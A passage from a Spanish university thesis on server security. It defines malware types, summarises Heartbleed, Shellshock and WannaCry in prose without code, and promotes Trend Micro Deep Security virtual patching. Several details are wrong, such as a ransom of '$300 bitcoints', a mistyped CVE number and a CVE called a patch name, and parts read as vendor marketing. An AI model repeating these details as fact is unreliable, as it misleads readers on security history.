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Resumen

La presente tesis muestra los riesgos que existen actualmente en los servidores infor-
máticos, los daños que pueden causar y sobre todo el robo de información. Para una
institución, empresa o persona, la información es de gran importancia como también
el funcionamiento correcto de los equipos informáticos como servidores, inicialmen-
te, proporcionamos una explicación breve y general sobre conceptos de seguridad, ya
que es importante que las personas conozcan las de�niciones de malware que existen
actualmente en los ataques informáticos.

También exponemos los ataques informáticos de los últimos años que han impactado
al mundo y a la sociedad explotando vulnerabilidades expuestas y comprometiendo
millones de activos informáticos e información con�dencial.

Dentro del presente trabajo se expone el análisis de riesgo realizado a una empresa
del sector �nanciero y otra del sector educativo, se muestra la comparación y el riesgo
de diferentes sistemas operativos con los que cuenta cada institución.

Se realiza la demostración del proceso de un ataque a un servidor, muestra como los
hackers se introducen a los sistemas operativos, cómo explotan las vulnerabilidades
para poder robar información y afectar los archivos y documentos.

Del mismo modo con la herramienta que proponemos como solución para el blindaje
de aplicaciones críticas en servidores basado en parches virtuales, se muestra la miti-
gación de vulnerabilidades sin necesidad de modi�car o actualizar el sistema operativo
y versiones de aplicaciones con las que se está trabajando, logrando disminuir la su-
per�cie de riesgo y ayudando a los administradores de los servidores con un ahorro de
trabajo en su vida cotidiana.
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Introducción

La seguridad en Servidores es tan importante como la seguridad en la red debido a
que los servidores contienen información vital para la organización, si un atacante
informático compromete un servidor, la disponibilidad e integración se pone en ries-
go, afectando la operación y con�dencialidad de la organización. Asimismo es muy
importante para las empresas de cualquier giro entre ellas la educación, �nanciera y
gobierno, etc.

Muchas de las aplicaciones de servidores incluidas por defecto en la instalación necesi-
tan actualizarse para corregir errores de seguridad en las aplicaciones, estas se publican
y se dan seguimiento en listas como Security Focus (http://www.securityfocus.com),
sitio web del equipo de respuesta y emergencias de computación (Computer Emer-
gency Reponse Team, CERT (http://www.cert.org) y Common Vulnerabilities and
Exposures (https://cve.mitre.org/). Aún teniendo estas asociaciones que alertan a las
administradores de TI(Tecnologías de la Información), para los administradores de
los servidores se vuelve complicado aplicar un parche o actualización de los servidores
debido a la disponibilidad que deben mantener y a las aplicaciones críticas a las que no
es sencillo aplicar un parche de seguridad, al mismo tiempo los atacantes informáticos
tienen acceso a las mismas fuentes e intentan utilizar esta información para violar los
sistemas operativos que no han sido parchados.

�Cada servidor contiene aplicaciones, dependiendo del rol que tenga en la organiza-
ción, por ejemplo un Sistema Operativo de Red Hat Enterprice Linux contiene más
de 1000 aplicaciones y bibliotecas de paquetes�1, sin mencionar que los sistemas ope-
rativos Windows son muy dependientes de las actualizaciones y las versiones de las
aplicaciones. Sin embargo, la mayoría de los administradores optan por no instalar
los paquetes de distribución debido a la operación de la organización, actualmente
muchos cuentan con versiones viejas de programas o aplicaciones debido a que solo
son compatibles con ciertas versiones del Sistema Operativo.

Es aquí donde encontramos una gran necesidad y brecha de seguridad que es muy
compleja de resolver para los administradores de los servidores, como lo explicamos
anteriormente no se pueden aplicar todos los parches y mantener actualizados los

1Página web Red Hat Enterprise Linux 4: Manual de seguridad- Capítulo 4,
�http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-es-4/s1-risk-serv.html�, 3 de Junio 2017.
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sistemas operativos porque muchas aplicaciones funcionan con ciertas versiones como
java, Internet explore, PHP,SQL, ORACLE, etc. Es aquí donde se pone una balanza
entre la operación y disponibilidad del servidor contra robustecer la seguridad, sin
contar que para aplicar un parche muchas veces deben reiniciar el servidor, hacer
ventanas de mantenimiento, probar el parche antes de aplicarlo o sistemas operativos
viejos como Windows Server 2003 que actualmente ya no tiene soporte por parte de
Microsoft. 2

En el presente trabajo buscamos proponer una tecnología con parches virtuales que
protejan al servidor a nivel perimetral con reglas inteligentes y políticas anti exploit,
donde no hay necesidad de reiniciar el servidor, modi�car la aplicación o hacer ven-
tanas de mantenimiento exhaustivas para parchar la vulnerabilidad y mantener la
disponibilidad del servidor.

Buscamos que en un futuro nuestra casa de estudios la Universidad Autónoma de la
Ciudad de México cuente con este tipo de tecnologías en los servidores.

Por lo cual nos hacemos una pregunta ¾Qué pasaría si el servidor Web de la UACM
es vulnerado debido a una actualización que no se puede aplicar porque los adminis-
tradores deben mantener la disponibilidad debido a ser temporada de inscripción o
certi�cación? quizá la disponibilidad y operación se mantiene pero mientras tanto el
atacante puede comprometer la información con�dencial de los alumnos o personal
académico y administrativo como pasó en el reciente ataque mundial realizado por
ransomware WannaCry en donde por una vulnerabilidad de Windows fueron compro-
metidos cientos de servidores en todo el mundo.

2Página web Micrsorft �https://www.microsoft.com/en-us/cloud-platform/windows-server-2003�,
3 de Junio 2017.
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Generalidades

Playload. Carga útil, conjunto de datos transmitidos, en realidad en un mensaje
enviado. Esta carga contiene cabeceras o metadatos, que son enviados para facilitar
la entrega.

MetaSploit. Conjunto de herramientas o programas, que proporcionan información
acerca de las vulnerabilidades de los sistemas de cómputo, y ayudan a las pruebas de
penetración.

Meterprete. Carga útil o Playload que es ejecutado después que existe una explo-
tación a las vulnerabilidades en un sistema operativo, permitiendo obtener una gran
cantidad de información sobre un objetivo comprometido.

MFSconsole. Es la interfaz que ofrece una consola centralizada �todo-en-uno� per-
mitiendo acceso e�ciente a todas las opciones disponibles como Matasploit, Playload,
Meterpreter entre otros.

Script. Archivo de órdenes o archivo de procesamiento por lotes, es un programa
usualmente simple, por lo regular se almacena en un archivo de texto plano.

Kali Linux. Sistema Operativo basada en Debian GNU/Linux dedicada principal-
mente a la seguridad informática.

Dropear. El verbo de dropear viene del inglés(dejar caer o tirar), en informática tirar
paquetes de tra�co de información.
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Capítulo 1

Mitos y Leyendas de la Seguridad
Informática

Existen numerosas creencias, hábitos de uso y pautas en seguridad informática que
los usuarios siguen para tratar de evitar ataques informáticos y otros más se muestran
indiferentes o escépticos ante incidentes informáticos.

A continuación comparto 6 mitos sobre la seguridad informática, es una recopilación
realizada por el sitio �protecciononline.com�. 1

1.1. Mito 1: Compras en Internet.

Creencia: Si no compro productos ni contrato servicios en Internet, no puedo con-
vertirme en una víctima más del crimen cibernético.

Realidad: Incluso las personas que no compran ni realizan operaciones bancarias en
Internet pueden verse afectadas por el crimen cibernético. Basta con una sola visita a
un sitio Web infectado, o incluso a un sitio Web libre de virus, pero con un aviso de
publicidad infectado, para que tu equipo pueda resultar infectado por un programa
de software de actividades ilegales, como un bot o un caballo de Troya.

1.2. Mito 2: Compartir claves con mi familia es seguro.

Creencia: No es arriesgado dejar que otras personas utilicen mi equipo, o compartir
con ellas mis claves, siempre que sean miembros de mi familia o amigos de mucha
con�anza.

1Página web protección online,�http://www.protecciononline.com/mitos-sobre-seguridad-
informatica-que-debemos-conocer/�, (Consultado 3 junio 2017).
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Realidad: Cualquier persona puede ser víctima de un ataque en Internet. Los crimi-
nales cibernéticos utilizan herramientas automatizadas para enviar millones de correos
electrónicos fraudulentos con la esperanza de encontrar un pequeño número de víc-
timas vulnerables. No les importa quién les haya abierto el camino que les permite
infectar un equipo, ya sea un adulto o un niño, con tal de que se dejen engañar y
cometan un error. Los criminales cibernéticos actúan con rapidez, y el más pequeño
error les es su�ciente para abrir la caja de Pandora. Es preferible no compartir tus
claves, ni siquiera las de acceso al ordenador.

1.3. Mito 3: No soy famoso, nadie robará mi identidad.

Creencia: Internet es tan grande que no debería preocuparme por aspectos como
el robo de identidad. La probabilidad de que me convierta en víctima es mínima, a
menos que sea una �gura pública o un personaje famoso.

Realidad: Los programas de bots automatizados realizan constantes batidas en In-
ternet en busca de nuevas víctimas a las que puedan infectar. Incluso aunque no seas
alguien famoso, o intentes pasar inadvertido en la Red, esta implacable variedad de
software de actividades ilegales pondrá a prueba la seguridad de tu equipo. Además,
el volumen de correos electrónicos fraudulentos de phishing que se envían cada día
es tan elevado que es muy probable que, tarde o temprano, recibas un mensaje fal-
so. Si bien los usuarios que utilicen Internet con frecuencia tienen más posibilidades
de convertirse en víctimas, cualquier persona que utilice Internet está expuesto a las
amenazas.

1.4. Mito 4: Ya tengo un Firewall, ya estoy seguro.

Creencia: Estoy protegido contra el robo de identidad en Internet si cuento con un
�rewall que bloquea intrusos, hackers y criminales.

Realidad: El software de �rewall constituye un excelente primer paso en la tarea
de proteger tu equipo, pero no es más que la primera línea de defensa. De hecho, el
software por sí solo es incapaz de protegerlo completamente contra el robo de identidad
en línea, ya que los ataques de hoy en día pueden incorporar una faceta psicológica
y engañar a la víctima para que revele información con�dencial en lugar de explotar
una falla del software.
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1.5. Mito 5: Las fotografías son libres de virus.

Creencia: No todos los programas corren riesgos: Por ejemplo, es imposible que las
fotografías contengan códigos nocivos.

Realidad: Muchos de los problemas de software recientes son causados por atacantes
que envían a las víctimas códigos de ataque incorporados en archivos de imágenes,
como fotografías. El ataque se produce cuando la víctima está navegando por Internet
o leyendo un correo electrónico y se encuentra con una página web o un mensaje que
contiene la fotografía contaminada: Al visualizar la foto, el código de ataque se ejecuta
e infecta el equipo de la víctima con software de actividades ilegales.

1.6. Mito 6: Si no uso Windows, estoy seguro.

Creencia: Las personas que no utilizan Microsoft Windows están a salvo. Los cri-
minales se aprovechan de los usuarios de Windows porque son presas más fáciles,
mientras que dejan tranquilos a los usuarios de Linux y Mac.

Realidad: Si bien los usuarios de Microsoft Windows son sin duda los usuarios de
Internet que reciben el mayor número de ataques, las personas que utilizan otros
sistemas operativos o software no son inmunes a las fallas de software ni a los ataques
fraudulentos. Los recientes casos de virus para Mac, por ejemplo, demuestran que
elegir otro software no es su�ciente para eliminar el riesgo de sufrir un ataque en
línea. Además, muchos de los ataques de hoy en día, como el phishing, funcionan
independientemente del paquete de software que se esté utilizando.
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Capítulo 2

Malware, Exploit y Vulnerabilidades.

Es muy importante conocer los tipos de malware y diferenciar el comportamiento de
cada uno, esto facilita al administrador del servidor identi�car qué tipo de amenaza
existe de acuerdo al comportamiento que presente y así poder aplicar la remediación
correspondiente.

En el presente capitulo explicamos los diferentes tipos de malware, qué es un exploit
y ejemplos de vulnerabilidades descubiertas en los últimos años.

2.1. ¾Qué es Malware?

Es un software malicioso diseñado para in�ltrar o dañar una computadora sin consen-
timiento del usuario.

Programa que realiza actividad maliciosa que se de�ne como:

Intención + Efectos Nocivos.

Ejemplo de Actividades:

Propagación.

Habilidad del malware de extenderse a otros sistemas a través de otros medios
físicos o de Internet.

Destrucción.

Habilidad del malware de borrar archivos críticos del sistema y detener la ope-
ración de la computadora.

Virus

Un virus es un programa que se replica adjuntándose de otros archivos de programa,
como por ejemplo los siguientes mencionados:
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ActiveX: En activeX se puede ejecutar un código malicioso que reside en las
páginas web.

Virus de sector de arranque: También el virus puede afectar al sector de arranque
del sistema operativo.

Archivos COM y EXE: estos archivos son comúnmente utilizados por los virus
para su distribución.

Código malicioso de Java: código vírico independiente del sistema operativo
escrito o incrustado en Java.

JAVA: Comúnmente los atacantes explotan vulnerabilidades de JAVA para crear
códigos maliciosos mediante código vírico.

Virus de VBScript,JavaScript o HTML: este virus comúnmente reside en las
páginas Web y es descargado mediante exploradores.

Gusano: es un programa que se reproduce por sí mismo a través de redes utili-
zando mecanismos de ésta, por lo tanto un gusano es un virus de red.

Troyano.

El caballo de troya es un programa ejecutable el cual no se replica, pero reside en
los equipos realizando actividad maliciosa como, por ejemplo, abrir puertas traseras
(puertos). Un ejemplo de programas troyano es una aplicación que se presenta como
herramienta para eliminar virus (Falsos antivirus) y cuya intención es, en realidad,
introducir virus en el equipo

Spyware.

El Spyware recopila información (como nombres de usuario y contraseñas de cuentas,
números de tarjetas de crédito y otra información con�dencial) que se transmite a
otras personas.

Adware.

El adware muestra publicidad y recopila datos como las preferencias de navegación en
Internet, lo que se puede utilizar posteriormente para enviar publicidad al usuario.



2.1. ¾Qué es Malware? 7

Rootkit.

Es un conjunto de herramientas que los atacantes utilizan para acceder ilícitamente a
un sistema informático, estas herramientas sirven para esconder procesos y archivos
que permiten al intruso mantener el acceso al sistema, por lo regular el rootkit realiza
su actividad maliciosa a nivel kernel afectando al hardware del equipo.

Phishing.

La técnica del phishing consiste en envío de correos electrónicos que, aparentemente
provienen de fuentes con�ables (por ejemplo, entidades bancarias), intentan obtener
datos con�ables del usuario, que posteriormente son utilizados para la realización de
algún tipo de fraude. Pare ello, suelen incluir un enlace que, al ser pulsado, lleva a
páginas web falsi�cadas. De esta manera, el usuario, creyendo estar en un sitio de toda
la con�anza, introduce la información solicitada que, en realidad, va a parar a manos
del estafador. similares.

Spoo�ng

Es una creación de tramas TCP/IP utilizando direccionamiento IP falseada; la idea de
este ataque es muy sencilla: Desde un equipo, el pirata informático simula la identidad
de otra máquina en la red para conseguir acceso a recursos del tercer sistema donde
ha establecido algún tipo de con�anza basada en el nombre o la dirección IP de la
computadora suplantada.

En la �gura 2.1 ejempli�ca el comportamiento de Spoo�ng.

Figura 2.1: Spoo�ng
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Botnet

Las redes de bots o botnet, son redes o grupos de ordenadores infectados por contro-
ladores remotos por el propietario de la red botnet. Este propietario da instrucciones
que puedan incluir: la propia actualización del bot la descarga de una nueva amenaza,
mostrar publicidad al usuario, el envío de SPAM o el lanzar ataques de denegación de
servicios, entre otras.

Spam.

El spam es el correo electrónico no solicitado que es enviado en cantidades masivas
a un número muy amplio de usuarios generalmente con el de comercializar, ofertar
o tratar de despertar el interés con respecto a algún producto o servicio. Este tipo
de correos electrónicos suponen también, en muchos casos, la punta de lanza para
cometer ciber delitos como el phishing o el scam.

Ransomware

Ransomware es un tipo de malware que impide o limita los usuarios accedan a su
sistema, ya sea mediante el bloqueo de la pantalla del sistema o mediante el bloqueo
de los archivos de los usuarios. Más familias Ransomware modernas, categorizados
colectivamente como cripto-ransomware, cifrar ciertos tipos de archivos en los sistemas
infectados y obliga a los usuarios a pagar el rescate a través de ciertos métodos de
pago en línea para obtener una clave de descifrado.

2.2. Vulnerabilidades y Exploit.

Vulnerabilidad: Es una falla de seguridad o debilidad del software o en un sistema
operativo que puede conducir a brechas de seguridad, esta falla se convierte en una
preocupación de seguridad cuando un atacante descubre dicha vulnerabilidad y crean
un código malicioso o exploit dirigido para aprovechar esa falla.

Exploits: Es un código creado deliberadamente por un atacante para aprovechar una
vulnerabilidad de software En muchas ocasiones este código es incorporado a un
malware.

En ocasiones un exploit es una parte de varios componentes de un ataque:

El exploit puede crear otro malware.

Puede incluir backdoor.

Puede ser parte de un software espía.
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Vulnerabilidades que han impactado al mundo durante los últimos años.

A continuación describimos brevemente importantes vulnerabilidades publicadas en
años recientes, que ponen en riesgo la operación del servidor.

Heartbled

Heartbled es una grave vulnerabilidad en la biblioteca de software criptográ�co Open
SSL, descubierta y publicada el 1 de abril del 2014, esta debilidad permite el robo de
información protegida por el cifrado SSL/TLS mediante la lectura de memoria que
utilizan ciertas versiones de Open SSL. Permite intrusivamente extraer información
del servidor a pesar de que las comunicaciones sean seguras como:

Credenciales del usuario.

Datos personales del usuarios.

La llave para descifrar la comunicación segura.

Según datos de Netcraft el 66% de los sitios utilizan Open SSL y solo el 17 por ciento
son susceptibles a la vulnerabilidad Heartbled. 1

De acuerdo con algunas noticias en México sobre la vulnerabilidad Heartbled, si hubo
afectación en sitios mexicanos con dominios MX a pesar de que se reaccionó de manera
oportuna.

Figura 2.2: Noticias Heartbleed

1Noticias Hearbleed, �http://www.excelsior.com.mx/hacker/2014/04/26/955915�,(consultado 3 de
junio 2017).
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Figura 2.3: Desafío de un cliente-tienda departamental.

El parche que corrige esta vulnerabilidad fué publicada en MITRE con la referencia
O�cial CVE-2014-01602, es importante que todos los sitios afectados por esta vulne-
rabilidad pongan el parche mencionado anteriormente.

Algunas distribuciones de sistemas operativos que se han enviado con la versión po-
tencialmente vulnerable de OpenSSL:

Debian Wheezy (estable), OpenSSL 1.0.1e-2 + deb7u4

Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11

CentOS 6.5, OpenSSL 1.0.1e-15

Fedora 18, OpenSSL 1.0.1e-4

OpenBSD 5.3 (OpenSSL 1.0.1c 10 mayo de 2012) y 5.4 (OpenSSL 1.0.1c 10 mayo
de 2012)

FreeBSD 10.0 - 1.0.1e de OpenSSL 11 Feb 2013

NetBSD 5.0.2 (OpenSSL 1.0.1e)

OpenSUSE 12.2 (OpenSSL 1.0.1c)

Operativo de distribución del sistema con las versiones que no son vulnerables:

Debian Squeeze (antigua estable), OpenSSL 0.9.8o-4squeeze14

SUSE Linux Enterprise Server

FreeBSD 8.4 - 0.9.8y OpenSSL 5 Feb 2013
2https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-0160
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FreeBSD 9.2 - 0.9.8y OpenSSL 5 Feb 2013

FreeBSD 10.0p1 - 1.0.1g OpenSSL (A las 8 Abr 2014 18:27:46 GMT)

FreeBSD Ports - 1.0.1g OpenSSL (, a los 7 Abr 2014 21:46:40 GMT)

2.2.1. Shellshock.

Shellshock es un error de seguridad en el Bash de Shell de Unix, la vulnerabilidad
fué descubierta en Septiembre del 2014, Bash, que se encuentra en la mayoría de los
sistemas operativos unix y Linux así como en Mac OSX podrían permitir al atacante
ejecutar comandos de forma remota sin autenticación, permitiendo así cargar infor-
mación del sistema operativo, acceder a datos con�denciales o establecer un escenario
para futuros atacantes .

En octubre del 2014 se detectó un nuevo ataque de Shellshock dirigido a servidores
SMTP, �los atacantes usaron correo electrónico para entregar exploit, si el código de
explotación es ejecutado correctamente en el servidor SMTP vulnerable se descarga
y ejecuta Bot IRC conocido como JST Perl IcrBot. Después de la ejecución se borra
para evitar ser detectado por el radar.� 3

Proceso de ataque Shellshock:

1. El atacante crea un código malicioso que inserta en un correo electrónico sobre
los campos de subject, from y CC.

2. El atacante envía este correo malicioso a cualquier servidor SMTP potencial-
mente vulnerable.

3. Cuando el servidor SMTP recibe el correo malicioso, la carga útil de shellshock
se ejecutará y descargará el bot IRC, también se establecen conexiones a centros
de mando y control.

4. Los atacantes toman control del servidor y pueden ejecutar diferentes rutinas de
ataques como denegación de servicios mediante SPAM.

La siguiente imagen muestra el proceso de ataque de Shellshock.

3https://blog.trendmicro.com/trendlabs-security-intelligence/shellshock-related-attacks-
continue-targets-smtp-servers/
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Figura 2.4: Proceso de ataque Shellshock.

Este ataque se ha visto en servidores SMTP en diferentes países como por ejemplo,
Taiwan, Germania, Estados Unidos y Canadá.

Figura 2.5: Top de países afectados por Shellshock en servidores SMTP.

El parche que soluciona la vulnerabilidad Shellshock se publicó el 24 de septiembre del
2014 con el nombre de CVE−2014− 6271.4

4Porta web CVE ,�https://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-6271�, (consultado 22
octubre 2017).
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2.2.2. WannaCry (Ransomware).

WannaCry (quiero llorar), es un ataque informático que nombrado en inglés �Wan-
naCry Ransomware attack o WannaCry Doble Pulsar attack�, comenzó el viernes 12
de mayo del 2017 afectando a un gran número de organizaciones, países y ordenadores
en todo el mundo.

Varias empresas de Europa se vieron seriamente afectadas, como es el caso de tele-
fónica Movistar al cual le comprometieron aproximadamente el 85 por ciento de sus
ordenadores, en aquella fecha le exigían un aproximado de $300 bitcoints como rescate
de lo contrario comenzarían a borrar la información que fue secuestrada, Movistar
España se vio obligado a dar un apagón de equipos orientando a sus usuarios a no
prender sus ordenadores.5 6

El sector salud fue gravemente afectado, como es el caso del servicio nacional de
salud de Gran Bretaña (NHS) el cual se vio obligado a rechazar pacientes y retrasar
operaciones hasta que el servicio fuera normalizado y los ordenadores pudieran ser
restablecidos.7

¾Qué es lo que hace WannaCry Ransomware y quien es afectado?

Wannacry es una variante de Ransomware8 que afecta a sistemas operativos Windows
explotando la vulnerabilidad basada en el bloque de mensajes del servidor (SMB) de-
nominada CVE−2017 − 0144. 9 La afectación se realiza mediante un exploit dirigido
a explotar la vulnerabilidad, al momento de que es ejecutado en el sistema operativo
tiene la capacidad de encriptar 176 tipos de archivo, algunos de estos archivos pueden
ser de bases de datos, multimedia, PDF, JPG, GIF, archivos Microsoft o�ce, entro
otros. Posterior a la infección en el ordenador se muestra un mensaje de pago deman-
dando $300 bitcoints por el rescate de la información a sus víctimas, el costo de la
demanda podría aumentar dependiendo del tiempo en que la víctima pudiera realizar
el pago.

5Portal web de � El Mundo� noticiero de España, �http://www.elmundo.es/tecnologia
/2017/05/12/59158a8ce5fdea194f8b4616.html�,(consultado 22 Octubre 2017).

6Portal web de noticias El comercio, �http://www.elcomercio.es/tecnologia/201705/12/telefonica-
sufre-ciberataque-interna-20170512124356-rc.html�,(consultado 22 Octubre 2017).

7Portal web de BBC noticias,�http://www.bbc.com/news/health-39899646�,(consultado 22 Octu-
bre 2017).

8Blog Trend Micro, �Ransomware��https://www.trendmicro.com/vinfo/us/security/de�nition
/ransomware�,(consultado 22 Octubre 2017).

9Portal web de �Common Vulnerabilities and Exposures�, �https://www.cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE−2017− 0144�,(consultado 22 de Octubre 2017).
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Figura 2.6: Nota de rescate de WannaCry.

El exploit que aprovecha la vulnerabilidad CVE−2017 − 0144 es llamado �Eternal
Blue�y fue creado por la Agencia Nacional de Seguridad (NSA)10 de los Estados Unidos
Americanos, dicho exploit fue �ltrado por el grupo de piratas cibernéticos �Shadow
Brokers.�11

Microsoft resolvió la vulnerabilidad el parche de seguridad en el boletín de seguridad
MS17− 010 omitido el 14 de marzo del 2017; sin embargo, hasta la fecha millones de
ordenadores no tienen el parche de seguridad lo que causa que el impacto deWannaCry
sea omnipresente en su capacidad de propagación, similar a un gusano que permite que
la propagación a través de la red infectando ordenadores conectados sin la necesidad
de que el usuario intervenga.12

El proceso de infección y propagación de Ransomware WannaCry se muestra en la
siguiente imagen.

1. WannaCry llega mediante un exploit generado para explotar la vulnerabilidad
MS17 − 010, el exploit tiene diferentes métodos de entrada como lo es inge-

10Portal web de NSA, �https://www.nsa.gov/�, (consultado 23 Octubre 2017).
11Portal web Trend Micro,�https://www.trendmicro.com/vinfo/us/security/news/cybercrime-

and-digital-threats/malware-using-exploits-from-shadow-brokers-in-the-wild�,(consultado 23 Octubre
2017).

12Blog Trend Micro,�http://blog.la.trendmicro.com/wannacrywcry-ransomware-como-defenderse-
de-el/#.We2DZmjWzIV�,(consultado 23 Octubre 2017)
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niería social, ataque informático, mediante un correo electrónico malicioso, por
dispositivos USB o en ocasiones por una mala navegación en internet.

2. El archivo que libera el exploit se ejecuta como un servicio, por ejemplo: ms-
secsvc.exe.

3. El equipo infectado queda comprometido y se libera el archivo de Ransomware.

4. La infección se ejecuta comenzando con el cifrado de archivos y al �nalizar
despliega una pantalla solicitando el rescate de los archivos.

5. Los archivos quedan cifrados con extensión .wncry. difícilmente de recuperarlos
y convertidos a un formato no legible para el usuario.

Figura 2.7: Flujo de ataque e infección de WannaCry Ransomware.

Empresas dedicadas a la seguridad en los puntos �nales y servidores, han lanzado
campañas de prevención contra Ransomware y proponen soluciones basadas en apren-
dizaje de máquina y parches virtuales en caso de no poder poner parches físicos, en el
siguiente capítulo profundizaremos estos temas.
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Capítulo 3

Protección de aplicaciones críticas
en servidores

Los fabricantes de Software ofrecen la protección contra vulnerabilidades dentro del
mantenimiento habitual de sus plataformas a través de parches, los cuales logran
mitigar el riesgo ante la exposición a un ataque hacia una vulnerabilidad. Pero cuando
una plataforma sale de su periodo de vida como reciente mente Windows server 2003
el cual ya no tiene soporte por parte de Microsoft, o bien los fabricantes no logran
emitir los parches necesarios para contrarrestar una brecha de seguridad, los sistemas
quedan expuestos a las explotación de vulnerabilidades, incrementando el riesgo de la
información contenida en un sistema operativo.

Año con año son descubiertas cientos de vulnerabilidades que afectan a las aplicaciones
y sus sistemas operativos, estas vulnerabilidades son publicadas en MITRE, la cual
es una organización sin ánimo de lucro que gestiona los CVE. Opera en centros de
investigación y desarrollo encargados del estudio de distintos campos de entre los que
se encuentra la seguridad de la información.

¾Qué es CVE?

CVE (Common Vulnerabilities and Exposures) es quizá el estándar más usado para
nombrar las vulnerabilidades conocidas y publicadas. Permite identi�car las vulne-
rabilidades asignando un código de identi�cación único que se conoce como CVE
(CVE-ID) y está formado por siglas que signi�can el año y numero que se le otorga a
la vulnerabilidad.
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Figura 3.1: Descripción de vulnerabilidad por CVE.

De acuerdo con la CVE1, en lo que va del año 2017 Linux se mantiene en la clasi�cación
de sistemas operativo con más vulnerabilidades descubiertas, muchos pensaran que
por ser un sistema gratuito no tiene vulnerabilidades pero en realidad es uno de los
principales focos de infección dentro de una empresa lo que hace que las aplicaciones
se puedan comprometer con algún ataque informático.

Figura 3.2: Vulnerabilidades publicadas en el año 2017.

1Portal Web CVE, �http://www.cvedetails.com/top-50-products.php?year=0�,(consultado 28 Oc-
tubre 2017).
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Y en las empresas ¾Qué sucede?

Actualmente las empresas de cualquier giro ya sea público, privado, �nanciero, educati-
vo, gubernamental, etc tienen diversos sistemas operativos y aplicaciones en los centros
de datos, los servidores contienen sistemas operativos (Linux,AIX,Solaris,Windows,
etc), Aplicaciones (SAP,DNS,AD,SIEBEL. Etc), Bases de datos (Oracle, MySQL,
DB2, Postgre/MSSQL), Servidores Web (Apache,Microsoft), Aplicaciones Web de ter-
ceros (PHP apps, Java Apps) y aplicaciones Web propietarias. Este tema se convierte
complejo para los administradores de infraestructura y los encargados de la seguridad
en los centros de datos, por un lado preocuparse de poner los parches para garantizar
la seguridad del servidor y por otro lado garantizar la disponibilidad de la operación,
al aplicar algún parche y dependiendo de la con�guración de este puede presentarse
un reinicio en el servidor y esto causaría interrupción en la operación, perderían la
disponibilidad eso sin contar que posiblemente el parche aplicado no se instale correc-
tamente y pueda alterar el funcionamiento de la aplicación, entonces esto se vuelve
un dolor de cabeza día con día.

Agreguemos que algunos sistemas operativos están fuera de soporte y los parches ya
no se encuentran disponibles por el fabricante, y que pasa cuando ciertas aplicaciones
funcionan con versiones especí�cas de la aplicación, el poner un parche de�nitivamente
no funciona pero la aplicación quedaría vulnerable para algún atacante cibernético.

Figura 3.3: Sistemas críticos y su complejidad.
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Con lo anterior podemos observar que en las grandes empresas hay un eterno problema
de vulnerabilidades, en la siguiente imagen se muestran las cuestiones comunes que se
presentan.

Figura 3.4: Cuestiones comunes sobre vulnerabilidades y parches.

A continuación se ejempli�camos en una serie de imágenes, una grá�ca que compara
el riesgo contra el tiempo en que se toma para resolverlo.

En principio la vulnerabilidad es descubierta y posteriormente las organizaciones en-
cargadas de gestionar las vulnerabilidades la publican como lo es el caso de la CVE,
una vez publicada el atacante informático u organizaciones de seguridad informática
crean el exploit y lo ponen a disposición, pasa tiempo y todavía se puede atomizar el
exploit antes de que el fabricante publique el parche, pasado de 1 a 2 meses el fabri-
cante publica el parche que mitiga la vulnerabilidad y con esto se disminuye el riesgo
pero ya pasó un tiempo considerable para remediar el hueco de seguridad.

Figura 3.5: Grá�ca de riesgo parches contra vulnerabilidades.
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¾Qué pasa si no se pone el parche que mitiga la vulnerabilidad?

Obviamente al no poner los parches de seguridad en el sistema operativo del servidor y
sus aplicaciones, aumenta el riesgo de que la información sea comprometida o a sufrir
un ataque informático en la organización.
Pero, ¾Por qué no se podría poner un parche?

La respuesta se muestra en la �gura 3.6.

Figura 3.6: Grá�ca de riesgo parches contra vulnerabilidades.

3.1. Solución propuesta mediante parches virtuales.

Proteger las vulnerabilidades antes de que puedan ser explotadas.

Cientos de vulnerabilidades de software están expuestas cada mes, y el parche opor-
tuno es costoso, propenso a errores y, a menudo, imposible. Las soluciones de parcheo
virtual de Trend Micro usan tecnologías de detección y prevención de intrusiones para
proteger las vulnerabilidades antes de que puedan ser explotadas. De esta forma, obtie-
ne protección inmediata sin los costos y dolores operativos de parches de emergencia,
frecuentes ciclos de parches, brechas y costosos tiempos de inactividad del sistema.2

2Portal Web Trend Micro, �http://apac.trendmicro.com/apac/enterprise/challenges/cloud-
virtualization/virtual-patching/index.html�, (consultado 29 Octubre 2017).
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¾Por qué con Trend Micro?

Trend Micro Incorporated, líder mundial en seguridad de contenido de Internet, se en-
foca en asegurar el intercambio de información digital para empresas y consumidores.
Pionera y vanguardista de la industria, Trend Micro está avanzando en la tecnología
integrada de gestión de amenazas para proteger la continuidad operativa, la informa-
ción personal y la propiedad contra malware, spam, pérdidas de datos y las nuevas
amenazas Web. Sus soluciones �exibles, disponibles en múltiples factores de forma,
son soportadas 24/7 por expertos en inteligencia de amenazas en todo el mundo. Una
empresa transnacional, con sede en Tokio, las soluciones de seguridad con�ables de
Trend Micro se venden a través de sus socios comerciales en todo el mundo.

En la actualidad Trend Micro se muestra como líder en el cuadrante mágico de Gart-
ner; Gartner es una empresa de consultoría e investigación del mercado de las nuevas
tecnologías dedicada exclusivamente a investigar y analizar las tendencias del mer-
cado, sobre estas conclusiones elabora un ranking de los fabricantes con las mejores
soluciones y productos.

Figura 3.7: Cuadrante mágico de Gartner.
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Descrito lo anterior, nuestra propuesta se basa en una plataforma de seguridad dirigida
a servidores llamada Trend Micro Deep Security que mitiga las vulnerabilidades
mediante parches virtuales, estos parches virtuales son distribuidos a través de re-
glas inteligentes que proporciona el módulo de Intrusion prevention blindando a los
servidores y sus aplicativos.

¾Qué es Trend Micro Deep Security?

Trend Micro Deep Security es una herramienta modular cuyo objetivo es brindar
seguridad a los sistemas en distintas dimensiones o vectores de exposición.

Los administradores del centro de cómputo requieren visibilidad de lo que ocurre en los
servidores, no solo por amenazas de tipo malware, sino también contra otros eventos
de seguridad que ponen en riesgo la integridad de la información, con la subsecuente
pérdida de con�abilidad en la organización.

Un evento de inseguridad puede incluir la explotación de vulnerabilidades, ataques de
negación de servicios, extracción y alteración de la información, modi�cación de las
plataformas tecnológicas, accesos no autorizados y también amenazas como el malware
y Ransomware.

Contar con una plataforma de seguridad que pueda ofrecer visibilidad de estos eventos
y que pueda apoyar a impedir que se concrete un ataque, adquiere una relevancia muy
importante dentro de la operación y continuidad del negocio.

Otra ventaja, es que puedes aplicar parches virtuales sin necesidad de que modi�ques
la aplicación o tengas que reiniciar el servidor.

